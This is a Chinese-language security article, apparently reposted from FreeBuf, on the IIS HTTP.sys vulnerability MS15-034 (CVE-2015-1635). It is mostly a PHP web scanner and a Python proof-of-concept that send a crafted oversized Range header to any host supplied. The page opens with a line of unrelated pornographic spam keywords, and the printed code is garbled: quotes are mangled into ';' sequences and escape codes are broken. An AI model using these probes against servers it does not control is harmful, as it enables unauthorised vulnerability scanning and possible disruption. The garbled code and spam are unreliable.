偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

IIS最新高危漏洞POC及在線檢測源碼

作者：xiaoya
安全 漏洞
遠程執(zhí)行代碼漏洞存在于 HTTP 協(xié)議堆棧 (HTTP.sys) 中，當 HTTP.sys 未正確分析經(jīng)特殊設計的 HTTP 請求時會導致此漏洞。成功利用此漏洞的攻擊者可以在系統(tǒng)帳戶的上下文中執(zhí)行任意代碼。

HTTP.sys遠程執(zhí)行代碼漏洞(CVE-2015-1635，MS15-034)

IIS最新高危漏洞POC及在線檢測源碼

遠程執(zhí)行代碼漏洞存在于 HTTP 協(xié)議堆棧 (HTTP.sys) 中，當 HTTP.sys 未正確分析經(jīng)特殊設計的 HTTP 請求時會導致此漏洞。成功利用此漏洞的攻擊者可以在系統(tǒng)帳戶的上下文中執(zhí)行任意代碼。https://technet.microsoft.com/zh-cn/library/security/MS15-034

在線檢測源碼

IIS最新高危漏洞POC及在線檢測源碼 

  1. <?php 
  2.  
  3.  
  4. class VulnStatus  
  5. {  
  6. const FAIL        = 0;  
  7. const VULN        = 1;  
  8. const VULN_NOT_MS = 2;  
  9. const PATCHED     = 3;  
  10. const NOT_VULN    = 4;  
  11. const NOT_VULN_MS = 5;  
  12. const NOT_VULN_CF = 6;  
  13.  
  14. public static function AsString( $status, $host )  
  15. {  
  16. switch( $status )  
  17. {  
  18. case self::FAIL       : return ';<div class="alert alert-warning">無法連接到 <b>'; . $host . ';</b> 測試漏洞。</div>';;  
  19. case self::VULN       : return ';<div class="alert alert-danger"><b>'; . $host . ';</b> 存在漏洞。</div>';;  
  20. case self::VULN_NOT_MS: return ';<div class="alert alert-warning"><b>'; . $host . ';</b> 可能存在漏洞，但它好像沒使用IIS。</div>';;  
  21. case self::PATCHED    : return ';<div class="alert alert-success"><b>'; . $host . ';</b> 已修復。</div>';;  
  22. case self::NOT_VULN   : return ';<div class="alert alert-info">不能識別補丁狀態(tài) <b>'; . $host . ';</b>, 并沒有使用IIS，可能不存在漏洞。</div>';;  
  23. case self::NOT_VULN_MS: return ';<div class="alert alert-info">不能識別補丁狀態(tài) <b>'; . $host . ';</b>. 可能不存在漏洞。</div>';;  
  24. case self::NOT_VULN_CF: return ';<div class="alert alert-success"><b>'; . $host . ';</b> 可能使用了CloudFlare CDN加速，導致漏洞無法檢測或不存在。</div>';;  
  25. }  
  26.  
  27. return ';好像壞了';;  
  28. }  
  29. }  
  30.  
  31. $host = false;  
  32. $status = false;  
  33. $url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL );  
  34.  
  35. if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null )  
  36. {  
  37. $url = ';http://'; . $url;  
  38. }  
  39.  
  40. $port = parse_url( $url, PHP_URL_PORT );  
  41.  
  42. if( $port === null )  
  43. {  
  44. $port = 80;  
  45. }  
  46.  
  47. $url = parse_url( $url, PHP_URL_HOST );  
  48.  
  49. if( $url !== null )  
  50. {  
  51. $cachekey = ';ms15034_'; . $url . ';_'; . $port;  
  52. $cachetime = 300; // 5 minutes  
  53.  
  54. $host = htmlspecialchars( $url, ENT_HTML5 );  
  55.  
  56. if( $port !== 80 )  
  57. {  
  58. $host .= ';:'; . $port;  
  59. }  
  60.  
  61. $memcached = new Memcached( );  
  62. $memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 );  
  63.  
  64. $status = $memcached->get( $cachekey );  
  65.  
  66. if( $status === false )  
  67. {  
  68. $fp = @fsockopen( $url, $port, $errno, $errstr, 5 );  
  69.  
  70. if( $fp === false )  
  71. {  
  72. $status = VulnStatus::FAIL;  
  73. }  
  74. else  
  75. {  
  76. stream_set_timeout( $fp, 5 );  
  77.  
  78. $header = "GET / HTTP/1.1\r\n";  
  79. $header .= "Host: stuff\r\n";  
  80. $header .= "Range: bytes=0-18446744073709551615\r\n";  
  81. $header .= "Connection: close\r\n\r\n";  
  82.  
  83. fwrite( $fp, $header );  
  84.  
  85. $response = fread( $fp, 1024 );  
  86.  
  87. fclose( $fp );  
  88.  
  89. if( strpos( $response, ';您的請求范圍不符合'; ) !== false )  
  90. {  
  91. $status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN;  
  92. }  
  93. else if( strpos( $response, ';請求一個無效的header頭部'; ) !== false )  
  94. {  
  95. $cachetime = 3600; // 緩存時間  
  96. $status = VulnStatus::PATCHED;  
  97. }  
  98. else if( strpos( $response, ';Microsoft'; ) === false )  
  99. {  
  100. if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false )  
  101. {  
  102. $status = VulnStatus::NOT_VULN_CF;  
  103. }  
  104. else  
  105. {  
  106. $status = VulnStatus::NOT_VULN;  
  107. }  
  108. }  
  109. else  
  110. {  
  111. $status = VulnStatus::NOT_VULN_MS;  
  112. }  
  113. }  
  114.  
  115. unset( $fp, $header, $response );  
  116.  
  117. $memcached->set( $cachekey, $status, $cachetime );  
  118. }  
  119.  
  120. $status = VulnStatus::AsString( $status, $host );  
  121. }  
  122. ?> 
  123. <!DOCTYPE HTML> 
  124. <html> 
  125. <head> 
  126. <meta charset="utf-8"> 
  127. <meta name="theme-color" content="#424242"> 
  128. <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> 
  129. <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
  130.  
  131. <title>MS15-034 測試</title> 
  132.  
  133. <link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet"> 
  134.  
  135. <style type="text/css"> 
  136. .container {  
  137. max-width: 900px;  
  138. }  
  139.  
  140. .masthead {  
  141. position: relative;  
  142. padding: 20px 0;  
  143. text-align: center;  
  144. color: #fff;  
  145. background-color: #424242;  
  146. margin-bottom: 20px;  
  147. }  
  148.  
  149. .masthead a {  
  150. color: #fff;  
  151. }  
  152.  
  153. .footer {  
  154. text-align: center;  
  155. padding: 15px;  
  156. color: #555;  
  157. }  
  158.  
  159. .footer span {  
  160. color: #FA5994;  
  161. }  
  162.  
  163. .form-inline {  
  164. text-align: center;  
  165. margin-bottom: 20px;  
  166. }  
  167.  
  168. .github {  
  169. position: absolute;  
  170. top: 0;  
  171. right: 0;  
  172. }  
  173. </style> 
  174. </head> 
  175. <body> 
  176. <div> 
  177. <div> 
  178. <h1>HTTP.sys 堆棧漏洞測試</h1> 
  179. <h3>輸入一個URL或主機名來測試服務器的 <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3> 
  180. </div> 
  181. </div> 
  182.  
  183.  
  184.  
  185. <div> 
  186. <blockquote> 
  187. <p>在HTTP協(xié)議棧（HTTP.sys）造成當HTTP協(xié)議堆棧不正確地分析特制的HTTP請求的遠程代碼執(zhí)行漏洞。成功利用此漏洞誰的攻擊者可以在系統(tǒng)帳戶的上下文中執(zhí)行任意代碼。</p> 
  188. <p>要利用此漏洞，攻擊者必須發(fā)送一個特制的HTTP請求發(fā)送到受影響的系統(tǒng)。此更新通過修改Windows HTTP協(xié)議棧處理請求解決該漏洞。</p> 
  189. </blockquote> 
  190.  
  191. <form id="js-form" method="GET"> 
  192. <div> 
  193. <input type="text" class="form-control input-lg" id="js-input" placeholder="baidu.com" name="host" autofocus<?php if( $host !== false ) { echo '; value="'; . $host . ';"';; } ?>> 
  194. <button type="submit" class="btn btn-primary btn-lg">檢測</button> 
  195. </div> 
  196. </form> 
  197.  
  198. <?php if( $status !== false ) { echo $status; } ?> 
  199.  
  200. <div>使用Memcached分布式內(nèi)存對象緩存系統(tǒng) | 所有的結果查詢會被緩存五分鐘</div> 
  201. </div> 
  202. </body> 
  203. </html> 

漏洞驗證POC

python版

  1. #!/usr/bin/env python  
  2. __author__ = ';jastra';  
  3. class bg_colors:  
  4.     VULN = ';33[92m';  
  5.     NONVULN= ';33[95m';  
  6.     EXPLOIT = ';33[91m';    
  7. try:  
  8.     import requests  
  9.     import re  
  10. except ImportError as ierr:  
  11.     print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr)  
  12.       
  13. def identify_iis(domain):  
  14.     req = requests.get(str(domain))  
  15.     remote_server = req.headers[';server';]  
  16.           
  17.     if "Microsoft-IIS" in remote_server:  
  18.         print(bg_colors.VULN + "[+] 服務是 " + remote_server)   
  19.         ms15_034_test(str(domain))  
  20.     else:  
  21.         print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server)   
  22.           
  23. def ms15_034_test(domain):  
  24.     print(" 啟動vuln檢查！")  
  25.     vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";  
  26.     req = requests.get(str(domain), params=vuln_buffer)  
  27.     if req.headers[';content';] == "請求范圍不符合":  
  28.         print(bg_colors.EXPLOIT + "[+] 存在漏洞")  
  29.     else:  
  30.         print(bg_colors.EXPLOIT + "[-] IIS服務無法顯示漏洞是否存在. "+  
  31.                "需要手動檢測")  
  32. usr_domain = raw_input("輸入域名掃描: ")  
  33. identify_iis(usr_domain) 

 

責任編輯：藍雨淚 來源： FreeBuf
IIS漏洞遠程執(zhí)行代碼漏洞
相關推薦

2009-02-04 11:24:12

2015-07-13 09:18:20

2022-03-09 13:25:21

臟管道Linux 內(nèi)核漏洞

2011-03-21 10:46:04

2013-07-18 15:09:27

2022-05-27 12:51:46

漏洞VMware攻擊者

2013-07-11 09:25:49

2025-09-18 10:05:45

2023-11-08 13:34:13

2020-03-25 09:40:57

微軟瀏覽器Windows

2025-09-08 10:04:46

2021-11-10 11:51:33

BrakTooth安全漏洞藍牙設備

2023-04-07 09:12:11

2012-03-12 17:23:45

2025-01-02 14:21:20

2020-11-04 14:55:06

谷歌GitHub漏洞

2011-08-15 15:41:29

2016-11-08 19:44:08

2025-01-07 13:36:51

2023-04-12 21:28:40

點贊
收藏

51CTO技術棧公眾號